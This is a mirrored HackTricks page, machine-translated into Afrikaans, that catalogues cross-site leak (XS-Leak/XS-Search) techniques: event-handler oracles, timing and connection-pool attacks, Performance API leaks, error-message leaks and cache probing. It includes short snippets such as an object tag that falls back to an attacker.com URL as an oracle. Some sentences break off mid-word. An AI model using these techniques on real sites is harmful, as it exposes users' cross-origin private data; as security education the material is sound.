Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md
Translator workflow 9f40607d8c Translated to Afrikaans
2024-02-11 02:07:06 +00:00

80 KiB
Raw Blame History

XS-Soek/XS-Lekke

Gebruik Trickest om maklik en outomatiese werkstrome te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

XS-Soek is 'n metode wat gebruik word om kruis-oorsprong-inligting te onttrek deur gebruik te maak van sykanaal kwesbaarhede.

Belangrike komponente wat betrokke is by hierdie aanval sluit in:

  • Kwesbare Web: Die teikenswebwerf waarvan die inligting bedoel is om onttrek te word.
  • Aanvaller se Web: Die kwaadwillige webwerf wat deur die aanvaller geskep is en wat die slagoffer besoek, en wat die uitbuiting huisves.
  • Insluitingsmetode: Die tegniek wat gebruik word om die Kwesbare Web in die Aanvaller se Web in te sluit (bv. window.open, iframe, fetch, HTML-tag met href, ens.).
  • Lektegniek: Tegnieke wat gebruik word om verskille in die toestand van die Kwesbare Web te onderskei op grond van inligting wat deur die insluitingsmetode ingesamel is.
  • Toestande: Die twee potensiële toestande van die Kwesbare Web wat die aanvaller probeer onderskei.
  • Waargeneembare Verskille: Waargeneembare variasies waarop die aanvaller staatmaak om die toestand van die Kwesbare Web af te lei.

Waargeneembare Verskille

Verskeie aspekte kan geanaliseer word om die toestande van die Kwesbare Web te onderskei:

  • Statuskode: Onderskeiding tussen verskillende HTTP-reaksiekodes kruis-oorsprong, soos bedieningsfoute, kliëntfoute of outentiseringsfoute.
  • API Gebruik: Identifisering van gebruik van Web-API's oor bladsye heen, wat onthul of 'n kruis-oorsprong-bladsy 'n spesifieke JavaScript Web-API gebruik.
  • Omleidings: Opmerking van navigasies na verskillende bladsye, nie net HTTP-omleidings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
  • Bladsy-inhoud: Waarneming van variasies in die HTTP-reaksie-liggaam of in bladsy-subhulpbronne, soos die aantal ingeslote rame of grootteverskille in afbeeldings.
  • HTTP-kop: Opmerking van die teenwoordigheid of moontlik die waarde van 'n spesifieke HTTP-reaksie-kop, insluitend koppe soos X-Frame-Options, Content-Disposition en Cross-Origin-Resource-Policy.
  • Tydsberekening: Opmerking van konsekwente tydverskille tussen die twee toestande.

Insluitingsmetodes

  • HTML-elemente: HTML bied verskeie elemente vir kruis-oorsprong-broninsluiting, soos stylesheet, afbeeldings of skripte, wat die blaaier dwing om 'n nie-HTML-bron aan te vra. 'n Versameling potensiële HTML-elemente vir hierdie doel kan gevind word by https://github.com/cure53/HTTPLeaks.
  • Rame: Elemente soos iframe, object en embed kan HTML-bronne direk in die aanvaller se bladsy insluit. As die bladsy geen ramebeskerming het nie, kan JavaScript toegang verkry tot die vensterobjek van die ingeslote bron deur die contentWindow-eienskap.
  • Opduikvensters: Die window.open-metode maak 'n bron oop in 'n nuwe lêer of venster en verskaf 'n vensterhandvatsel vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Opduikvensters, wat dikwels in enkel-aanmelding gebruik word, omseil die inlywing en koekiebeperkings van 'n teikenbron. Moderne blaaier beperk egter die skepping van opduikvensters tot sekere gebruikersaksies.
  • JavaScript Versoeke: JavaScript maak direkte versoeke na teikenbronne moontlik deur gebruik te maak van XMLHttpRequests of die Fetch API. Hierdie metodes bied noukeurige beheer oor die versoek, soos die opsie om HTTP-omleidings te volg.

Lektegnieke

  • Gebeurtenishanterer: 'n Klassieke lektegniek in XS-Lekke, waar gebeurtenishanterers soos onload en onerror insig bied oor die sukses of mislukking van bronlaai.
  • Foutboodskappe: JavaScript-uitsonderings of spesiale foutbladsye kan lekinligting verskaf, óf direk uit die foutboodskap óf deur onderskeid te maak tussen die teenwoordigheid en afwesigheid daarvan.
  • Globale Limiete: Fisiese beperkings van 'n blaaier, soos geheuekapasiteit of ander afgedwonge blaaierlimiete, kan aandui wanneer 'n drempel bereik is en as lektegniek dien.
  • Globale Toestand: Waargeneembare interaksies met blaaier se globale toestande (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die aantal inskrywings in die geskiedenis van 'n blaaier kan aanwysings bied oor kruis-oorsprong-bladsye.
  • Performance API: Hierdie API verskaf prestasiebesonderhede van die huidige bladsy, insluitend netwerktiming vir die dokument en gelaai hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak.
  • Leesbare Eienskappe: Sommige HTML-eienskappe is leesbaar kruis-oorsprong en kan as 'n lektegniek gebruik word. Byvoorbeeld, die window.frame.length-eienskap stel JavaScript in staat om die aantal rame in 'n kruis-oorsprong-webblad te tel.

XSinator-hulpmiddel & -Artikel

XSinator is 'n outomatiese hulpmiddel om blaaier te toets teen verskeie bekende XS-Lekke wat in sy artikel verduidelik word: https://xsinator.com/paper.pdf

Jy kan toegang verkry tot die hulpmiddel by https://xsinator.com/

{% hint style="warning" %} Uitgeslote XS-Lekke: Ons moes XS-Lekke wat afhanklik is van dienswerkers uitsluit, aangesien dit inmeng met ander lekke in XSinator. Verder het ons besluit om **XS-Lekke wat afhanklik is van verkeerde konfigurasie en f

Tydgebase-tegnieke

Sommige van die volgende tegnieke maak gebruik van tyd as deel van die proses om verskille in die moontlike toestande van die webbladsye op te spoor. Daar is verskillende maniere om tyd in 'n webblaaier te meet.

Horlosies: Die performance.now() API stel ontwikkelaars in staat om hoë-resolusie tydmetings te verkry.
Daar is 'n aansienlike aantal APIs wat aanvallers kan misbruik om implisiete horlosies te skep: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-animasies, en ander.
Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Gebeurtenishanterings-tegnieke

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Die kodevoorbeeld probeer skripsvoorwerpe vanaf JS laai, maar ander etikette soos voorwerpe, stylblaaie, beelde, klank kan ook gebruik word. Verder is dit ook moontlik om die etiket direk in te spuit en die onload en onerror-gebeurtenisse binne die etiket te verklaar (in plaas van dit vanaf JS in te spuit).

Daar is ook 'n skriptlose weergawe van hierdie aanval:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In hierdie geval, as example.com/404 nie gevind word nie, sal attacker.com/?error gelaai word.

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Gedwonge Swaar Taak

Hierdie tegniek is net soos die vorige een, maar die aanvaller sal ook 'n relevante hoeveelheid tyd dwing om te verloop wanneer die antwoord positief of negatief is en meet daardie tyd.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

Die tyd wat dit neem om 'n bron op te haal, kan gemeet word deur gebruik te maak van die unload en beforeunload gebeure. Die beforeunload gebeurtenis word afgevuur wanneer die blaaier op die punt is om na 'n nuwe bladsy te navigeer, terwyl die unload gebeurtenis plaasvind wanneer die navigasie werklik plaasvind. Die tydverskil tussen hierdie twee gebeure kan bereken word om die duur te bepaal wat die blaaier spandeer het om die bron op te haal.

Sandboxed Frame Timing + onload

Daar is waargeneem dat in die afwesigheid van Ramebeskerming, die tyd wat nodig is vir 'n bladsy en sy subbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die onload-hanterer van 'n ifram eers geaktiveer word nadat die bronlaaiing en JavaScript-uitvoering voltooi is. Om die veranderlikheid wat deur skriptouvoering ingebring word, te omseil, kan 'n aanvaller die sandbox-kenmerk binne die <iframe> gebruik. Die insluiting van hierdie kenmerk beperk verskeie funksionaliteite, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + fout + onload

  • Insluitingsmetodes: Raamwerke
  • Opmerkbare Verskil: Bladsy-inhoud
  • Meer inligting:
  • Opsomming: As jy die bladsy kan laat fout wanneer die korrekte inhoud geraadpleeg word en dit korrek laai wanneer enige inhoud geraadpleeg word, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
  • Kodevoorbeeld:

Stel dat jy die bladsy kan invoeg wat die geheime inhoud binne 'n Iframe het.

Jy kan die slagoffer laat soek vir die lêer wat "vlag" bevat deur 'n Iframe te gebruik (deur byvoorbeeld 'n CSRF te misbruik). Binne die Iframe weet jy dat die onload-gebeurtenis altyd ten minste een keer uitgevoer sal word. Dan kan jy die URL van die iframe verander deur slegs die inhoud van die hash binne die URL te verander.

Byvoorbeeld:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

As die eerste URL suksesvol gelaai is, sal die onload-gebeurtenis nie weer geaktiveer word wanneer die hash-gedeelte van die URL verander word nie. Maar as die bladsy 'n soort van fout gehad het tydens die laai, sal die onload-gebeurtenis weer geaktiveer word.

Dan kan jy onderskei tussen 'n korrek gelaai bladsy of 'n bladsy wat 'n fout het wanneer dit geraadpleeg word.

Javascript-uitvoering

  • Insluitingsmetodes: Raamwerke
  • Opmerkbare Verskil: Bladsy-inhoud
  • Meer inligting:
  • Opsomming: As die bladsy die sensitiewe inhoud teruggee, of 'n inhoud wat deur die gebruiker beheer kan word. Die gebruiker kan geldige JS-kode in die negatiewe geval stel, en elke poging binne <script>-tags laai, sodat in negatiewe gevalle aanvallers se kode uitgevoer word, en in bevestigende gevalle sal niks uitgevoer word nie.
  • Kodevoorbeeld:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Insluitingsmetodes: HTML-elemente
  • Opmerkbare Verskil: Statuskode & Koppe
  • Meer inligting: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Opsomming: Cross-Origin Read Blocking (CORB) is 'n sekuriteitsmaatreël wat voorkom dat webbladsye sekere sensitiewe kruis-oorsprongbronne laai om te beskerm teen aanvalle soos Spectre. Aanvallers kan egter sy beskermende gedrag misbruik. Wanneer 'n respons wat aan CORB onderhewig is, 'n CORB-beskermde Content-Type met nosniff en 'n 2xx-statuskode teruggee, stroop CORB die respons se liggaam en koppe. Aanvallers wat dit waarneem, kan die kombinasie van die statuskode (wat sukses of fout aandui) en die Content-Type (wat aandui of dit deur CORB beskerm word) aflei, wat kan lei tot potensiële inligtingslekke.
  • Kodevoorbeeld:

Kyk na die meer inligting-skakel vir meer inligting oor die aanval.

onblur

Dit is moontlik om 'n bladsy binne 'n iframe te laai en die #id_value te gebruik om die bladsy te fokus op die element van die iframe met die aangeduide id, dan as 'n onblur-sein geaktiveer word, bestaan die ID-element.
Jy kan dieselfde aanval uitvoer met portal-tags.

postMessage-uitsendings

  • Insluitingsmetodes: Raamwerke, Pop-ups
  • Opmerkbare Verskil: API-gebruik
  • Meer inligting: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Opsomming: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te weet
  • Kodevoorbeeld: Enige kode wat luister vir alle postMessages.

Toepassings maak dikwels gebruik van postMessage-uitsendings om te kommunikeer tussen verskillende oorsprong. Hierdie metode kan egter onbedoeld sensitiewe inligting blootstel as die targetOrigin-parameter nie korrek gespesifiseer word nie, wat enige venster in staat stel om die boodskappe te ontvang. Verder kan die bloot ontvang van 'n boodskap as 'n orakel dien; byvoorbeeld, sekere boodskappe mag slegs gestuur word na gebruikers wat aangemeld is. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geïdentifiseer is of nie.

Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Globale Limiete Tegnieke

WebSocket API

Dit is moontlik om te identifiseer of, en hoeveel, WebSocket-verbindinge 'n teikensbladsy gebruik. Dit stel 'n aanvaller in staat om toepassingsstatusse te bepaal en inligting wat verband hou met die aantal WebSocket-verbindinge uit te lek.

As een oorsprong die maksimum hoeveelheid WebSocket-verbinding-voorwerpe gebruik, ongeag hul verbindingsstatus, sal die skepping van nuwe voorwerpe lei tot JavaScript-uitsonderings. Om hierdie aanval uit te voer, open die aanvallende webwerf die teikenwebwerf in 'n pop-up of iframe en probeer dan, nadat die teikenweb gelaai is, die maksimum aantal moontlike WebSocket-verbindinge skep. Die aantal gegooide uitsonderings is die aantal WebSocket-verbindinge wat deur die teikenwebwerfvenster gebruik word.

Betalings-API

Hierdie XS-Leak stel 'n aanvaller in staat om vas te stel wanneer 'n kruis-oorsprong bladsy 'n betalingsversoek inisieer.

Omdat slegs een betalingsversoek aktief kan wees op 'n slag, sal enige verdere pogings om hierdie API te gebruik misluk en 'n JavaScript-uitsondering veroorsaak. Die aanvaller kan hiervan gebruik maak deur periodiek te probeer om die Betalings-API UI te wys. As een poging 'n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.

Tydsberekening van die Gebeurtenislus

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript werk op 'n enkel-draad gebeurtenislus gelyktydige model, wat beteken dat dit slegs een taak op 'n slag kan uitvoer. Hierdie eienskap kan uitgebuit word om vas te stel hoe lank dit neem vir kode van 'n ander oorsprong om uit te voer. 'n Aanvaller kan die uitvoertyd van hul eie kode in die gebeurtenislus meet deur voortdurend gebeurtenisse met vaste eienskappe te versprei. Hierdie gebeurtenisse sal verwerk word wanneer die gebeurtenispoel leeg is. As ander oorspronge ook gebeurtenisse na dieselfde poel stuur, kan 'n aanvaller die tyd aflei wat dit neem vir hierdie eksterne gebeurtenisse om uit te voer deur vertragings in die uitvoering van hul eie take waar te neem. Hierdie metode van monitering van die gebeurtenislus vir vertragings kan die uitvoertyd van kode van verskillende oorspronge onthul, wat moontlik sensitiewe inligting kan blootstel.

{% hint style="warning" %} In 'n tydsberekening van die uitvoer is dit moontlik om netwerkfaktore te elimineer om meer akkurate metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word voor die laai daarvan te laai. {% endhint %}

Besige Gebeurtenislus

  • Insluitingsmetodes:

  • Opspoorbare Verskil: Tydsberekening (gewoonlik as gevolg van Bladsy-inhoud, Statuskode)

  • Meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

  • Opsomming: Een metode om die uitvoertyd van 'n web-operasie te meet, behels die opsetlike blokkering van die gebeurtenislus van 'n draad en dan die tydsberekening van hoe lank dit neem voordat die gebeurtenislus weer beskikbaar is. Deur 'n blokkerende operasie (soos 'n lang berekening of 'n sinkroniese API-oproep) in die gebeurtenislus in te voeg en die tyd te monitor wat dit neem vir daaropvolgende kode om uitvoering te begin, kan 'n persoon die duur van die take wat in die gebeurtenislus uitgevoer is tydens die blokkeringsperiode aflei. Hierdie tegniek maak gebruik van die enkel-draad aard van JavaScript se gebeurtenislus, waar take opeenvolgend uitgevoer word, en kan insig bied in die prestasie of gedrag van ander operasies wat dieselfde draad deel.

  • Kodevoorbeeld:

'n Belangrike voordeel van die tegniek om die uitvoertyd te meet deur die gebeurtenislus te blokkeer, is die potensiaal om Webwerf-isolasie te omseil. Webwerf-isolasie is 'n sekuriteitskenmerk wat verskillende webwerwe in afsonderlike prosesse plaas, met die doel om te voorkom dat kwaadwillige webwerwe direkte toegang tot sensitiewe data van ander webwerwe verkry. Deur die uitvoertyming van 'n ander oorsprong te beïnvloed deur die gedeelde gebeurtenislus, kan 'n aanvaller op 'n indirekte wyse inligting oor daardie oorsprong se aktiwiteite verkry. Hierdie metode steun nie op direkte toegang tot die data van die ander oorsprong nie, maar neem eerder waar watter impak daardie oorsprong se aktiwiteite op die gedeelde gebeurtenislus het, en omseil dus die beskermende versperrings wat deur Webwerf-isolasie opgerig is.

{% hint style="warning" %} In 'n tydsberekening van die uitvoer is dit moontlik om netwerkfaktore te elimineer om meer akkurate metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word voor die laai daarvan te laai. {% endhint %}

Verbindingspoel

  • Insluitingsmetodes: JavaScript Versoeke
  • Opspoorbare Verskil: Tydsberekening (gewoonlik as gevolg van Bladsy-inhoud, Statuskode)
  • Meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Opsomming: 'n Aanvaller kan al die sokkets behalwe 1 blokkeer, die teikenweb laai en terselfdertyd 'n ander bladsy laai, die tyd tot die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
  • Kodevoorbeeld:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Webblaaier maak gebruik van sokkets vir bedienerkommunikasie, maar as gevolg van die beperkte hulpbronne van die bedryfstelsel en hardeware, is webblaaier verplig om 'n limiet op die aantal gelyktydige sokkets op te lê. Aanvallers kan hierdie beperking uitbuit deur die volgende stappe te volg:

  1. Vasstel wat die blaaier se sokketlimiet is, byvoorbeeld 256 globale sokkets.
  2. Beset 255 sokkets vir 'n lang tydperk deur 255 versoeke na verskillende gasheer te inisieer, ontwerp om die verbindings oop te hou sonder om te voltooi.
  3. Gebruik die 256ste sokket om 'n versoek na die teikenbladsy te stuur.
  4. Probeer 'n 257ste versoek na 'n ander gasheer. Gegewe dat alle sokkets in gebruik is (soos in stappe 2 en 3), sal hierdie versoek in 'n ry gestel word totdat 'n sokket beskikbaar word. Die vertraging voordat hierdie versoek voortgaan, verskaf die aanvaller met tydsinligting oor die netwerkaktiwiteit wat verband hou met die 256ste sokket (die teikenbladsy se sokket). Hierdie afleiding is moontlik omdat die 255 sokkets van stap 2 steeds besig is, wat impliseer dat enige nuut beskikbare sokket die een is wat vrygestel is van stap 3. Die tyd wat dit neem vir die 256

Prestasie API Tegnieke

Die Prestasie API bied insig in die prestasie metriek van webtoepassings, verder verryk deur die Resource Timing API. Die Resource Timing API maak dit moontlik om gedetailleerde netwerkversoektye, soos die duur van die versoek, te monitor. Merkwaardig, wanneer bedieners die Timing-Allow-Origin: * kop in hul antwoorde insluit, word addisionele data soos die oordraggrootte en domeinsoektogtyd beskikbaar.

Hierdie oorvloed van data kan verkry word deur metodes soos performance.getEntries of performance.getEntriesByName, wat 'n omvattende siening van prestasie-verwante inligting bied. Daarbenewens fasiliteer die API die meting van uitvoertye deur die verskil tussen tydstempels wat verkry word vanaf performance.now() te bereken. Dit is egter die moeite werd om daarop te let dat vir sekere operasies in webblaaier soos Chrome, die presisie van performance.now() beperk kan wees tot millisekondes, wat die fynheid van tydsmetings kan beïnvloed.

Verder as tydsmetings kan die Prestasie API benut word vir sekuriteitsverwante insigte. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die performance-objek in Chrome kan dui op die toepassing van X-Frame-Options. Spesifiek, as 'n bladsy geblokkeer word om in 'n raam te vertoon as gevolg van X-Frame-Options, sal dit nie in die performance-objek opgeneem word nie, wat 'n subtiele aanduiding van die bladsy se raambeleid bied.

Foutlek

Dit is moontlik om onderskeid te maak tussen HTTP-antwoordstatuskodes, omdat versoek wat tot 'n fout lei nie 'n prestasie-invoer skep nie.

Styl Herlaai Fout

In die vorige tegniek is ook twee gevalle geïdentifiseer waar webblaaierfoute in GC lei tot hulpbronne wat dubbel gelaai word as hulle nie laai nie. Dit sal lei tot veelvuldige inskrywings in die Prestasie API en kan dus opgespoor word.

Versoekversmeltingsfout

Die tegniek is in 'n tabel in die genoemde dokument gevind, maar geen beskrywing van die tegniek is daarin gevind nie. Jy kan egter die bronkode vind wat dit nagaan by https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Leë Bladsy Lek

'n Aanvaller kan opspoor of 'n versoek gelei het tot 'n leë HTTP-antwoordliggaam omdat leë bladsye nie 'n prestasie-invoer skep in sommige webblaaier nie.

XSS-Auditor Lek

In Security Assertions (SA) kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, paradoksaal uitgebuit word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude funksie uit Google Chrome (GC) verwyder is, is dit steeds teenwoordig in SA. In 2013 het Braun en Heiderich gedemonstreer dat die XSS Auditor per ongeluk legitieme skripte kan blokkeer, wat tot vals positiewe resultate lei. Op hierdie basis het navorsers tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op kruis-oorsprong-bladsye op te spoor, 'n konsep wat bekend staan as XS-Leaks, aanvanklik gerapporteer deur Terada en uitgewerk deur Heyes in 'n blogpos. Alhoewel hierdie tegnieke spesifiek was vir die XSS Auditor in GC, is daar ontdek dat in SA, bladsye wat deur die XSS Auditor geblokkeer word, nie inskrywings in die Prestasie API genereer nie, wat 'n metode onthul waardeur sensitiewe inligting steeds gelek kan word.

X-Frame Lek

As 'n bladsy nie toegelaat word om in 'n raam vertoon te word nie, skep dit **nie 'n

Aanvangslek na omleiding

Ons het een XS-Leak-geval gevind wat misbruik maak van die gedrag van sekere webblaaier wat te veel inligting vir kruis-oorsprongversoeke log. Die standaard definieer 'n subset van eienskappe wat op nul gestel moet word vir kruis-oorspronghulpbronne. In SA is dit egter moontlik om vas te stel of die gebruiker omgelei word deur die teikenbladsy, deur die Performance API te ondervra en te kyk na die redirectStart-timingdata.

Duur van omleidingslek

In GC is die duur vir versoeke wat in 'n omleiding resulteer, negatief en kan dus onderskei word van versoeke wat nie in 'n omleiding resulteer nie.

CORP-lek

In sommige gevalle kan die nextHopProtocol-inskrywing as 'n lektegniek gebruik word. In GC, wanneer die CORP-koptekst ingestel is, sal die nextHopProtocol leeg wees. Let daarop dat SA glad nie 'n prestasie-inskrywing sal skep vir CORP-geaktiveerde hulpbronne nie.

Dienswerker

Dienswerkers is gebeurtenisgedrewe skripskontekste wat by 'n oorsprong uitgevoer word. Hulle loop agter die skerms van 'n webbladsy en kan hulpbronne onderskep, wysig en gekash om 'n webtoepassing sonder internetverbinding te skep.
As 'n hulpbron wat deur 'n dienswerker gekash is, via 'n rame geraadpleeg word, sal die hulpbron van die dienswerkerkassie gelaai word.
Om vas te stel of die hulpbron van die dienswerkerkassie gelaai is, kan die Performance API gebruik word.
Dit kan ook met 'n Tydaanval gedoen word (sien die dokument vir meer inligting).

Kassie

Met behulp van die Performance API is dit moontlik om vas te stel of 'n hulpbron gekas is.

Netwerkduur

Foutboodskaptegniek

Mediafout

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

Die MediaError-koppelvlak se boodskapeienskap identifiseer uniek hulpbronne wat suksesvol laai met 'n onderskeibare string. 'n Aanvaller kan hierdie funksie uitbuit deur die inhoud van die boodskap waar te neem en sodoende die responsstatus van 'n kruis-oorsprong hulpbron af te lei.

CORS-fout

Hierdie tegniek stel 'n aanvaller in staat om die bestemming van 'n omgeleide kruis-oorsprong webwerf te onttrek deur te misbruik hoe Webkit-gebaseerde webblaaier CORS-versoeke hanteer. Spesifiek, wanneer 'n CORS-ingeskakelde versoek na 'n teikensite gestuur word wat 'n omleiding uitreik gebaseer op gebruikersstatus en die blaaier die versoek daarna ontken, word die volledige URL van die omleiding se teiken binne die foutboodskap bekendgemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar blootgestel ook die omleiding se eindpunt en enige sensitiewe navraagparameters wat dit mag bevat.

SRI-fout

'n Aanvaller kan uitgebreide foutboodskappe uitbuit om die grootte van kruis-oorsprong-responsies af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitskenmerk gebruik om te verseker dat hulpbronne wat opgehaal word, dikwels vanaf CDNs, nie geknoei is nie. Om SRI op kruis-oorsprong-hulpbronne te laat werk, moet hierdie hulpbronne CORS-ingeskakel wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Security Assertions (SA), soos die CORS-fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n ophalingsversoek met 'n integriteitskenmerk misluk. Aanvallers kan hierdie fout doelbewus trigger deur 'n vals hashtekenwaarde aan die integriteitskenmerk van enige versoek toe te ken. In SA onthul die resulterende foutboodskap per ongeluk die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek maak dit vir 'n aanvaller moontlik om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak-aanvalle.

CSP-oortreding/opsporing

'n XS-Leak kan die CSP gebruik om vas te stel of 'n kruis-oorsprong webwerf omgelei is na 'n ander oorsprong. Hierdie lek kan die omleiding opspoor, maar daarnaas lek die domein van die omleidingsdoelwit. Die basiese idee van hierdie aanval is om die teikendomein op die aanvaller se webwerf toe te laat. Sodra 'n versoek na die teikendomein uitgereik word, omlei dit na 'n kruis-oorsprong domein. Die CSP blokkeer die toegang daartoe en skep 'n oortredingsverslag wat as 'n lektegniek gebruik word. Afhangende van die blaaier kan hierdie verslag die teikensituasie van die omleiding per ongeluk lek. Moderne blaaier sal nie die URL aandui waarna dit omgelei is nie, maar jy kan steeds opspoor dat 'n kruis-oorsprong omleiding geaktiveer is.

Cache

Blaaiers kan een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong is dit moontlik om af te lei of 'n teikensbladsy 'n spesifieke lêer aangevra het.

As 'n bladsy 'n prent slegs laai as die gebruiker aangemeld is, kan jy die hulpbron ongeldig maak (sodat dit nie meer in die cache is as dit wel was nie, sien meer inligting skakels), 'n versoek uitvoer wat daardie hulpbron kan laai en probeer om die hulpbron met 'n slegte versoek te laai (bv. deur 'n oorlange verwyserkop te gebruik). As die hulpbronlaai geen fout veroorsaak nie, is dit omdat dit gecachet is.

CSP-Bevel

'n Nuwe kenmerk in Google Chrome (GC) maak dit moontlik vir webbladsye om 'n Inhoudsveiligheidsbeleid (CSP) voor te stel deur 'n attribuut op 'n iframe-element in te stel, met beleidsriglyne wat saam met die HTTP-versoek oorgedra word. Normaalweg moet die ingebedde inhoud **h

CORB

Kyk die skakel vir meer inligting oor die aanval.

CORS-fout op Origin Reflection-misconfiguratie

In die geval waar die Origin-hoofer weerspieël word, kan 'n aanvaller hierdie gedrag misbruik om te probeer om die bron in CORS-modus te haal. As 'n fout nie geaktiveer word nie, beteken dit dat dit korrek van die web afgehaal is, as 'n fout geaktiveer word, is dit omdat dit van die kas afgehaal is (die fout verskyn omdat die kas 'n respons met 'n CORS-hoofer stoor wat die oorspronklike domein toelaat en nie die aanvaller se domein nie).
Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildkaart gebruik word (Access-Control-Allow-Origin: *), sal dit nie werk nie.

Leesbare Eienskappe Tegniek

Fetch Redirect

Deur 'n versoek met die Fetch API in te dien met redirect: "manual" en ander parameters, is dit moontlik om die response.type-eienskap te lees en as dit gelyk is aan opaqueredirect, was die respons 'n omleiding.

COOP

'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) hoofer in 'n kruis-oorsprong HTTP-respons af te lei. COOP word deur webtoepassings gebruik om te voorkom dat eksterne webwerwe arbitrêre vensterverwysings verkry. Die sigbaarheid van hierdie hoofer kan bepaal word deur te probeer om die contentWindow-verwysing te benader. In gevalle waar COOP kondisioneel toegepas word, word die opener-eiendom 'n kenmerkende aanduiding: dit is ondervindbaar wanneer COOP aktief is, en gedefinieer in sy afwesigheid.

URL Maksimum Lengte - Bedienerkant

As 'n bedienerkant-omleiding gebruikersinvoer binne die omleiding en ekstra data gebruik. Is dit moontlik om hierdie gedrag te identifiseer omdat bedieners gewoonlik 'n limiet vir versoeklengte het. As die gebruikersdata daardie lengte - 1 is, omdat die omleiding daardie data gebruik en iets ekstra byvoeg, sal dit 'n fout aktiveer wat opspoorbaar is deur Foutgebeure.

As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur genoeg koekies in te stel (koekiebom) sodat met die toegevoegde grootte van die respons van die korrekte respons 'n fout geaktiveer word. In hierdie geval, onthou dat as jy hierdie versoek vanaf dieselfde webwerf aktiveer, sal <script> outomaties die koekies stuur (sodat jy vir foute kan kyk).
'n Voorbeeld van die koekiebom + XS-Search kan gevind word in die Bedoelde oplossing van hierdie skryfstuk: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

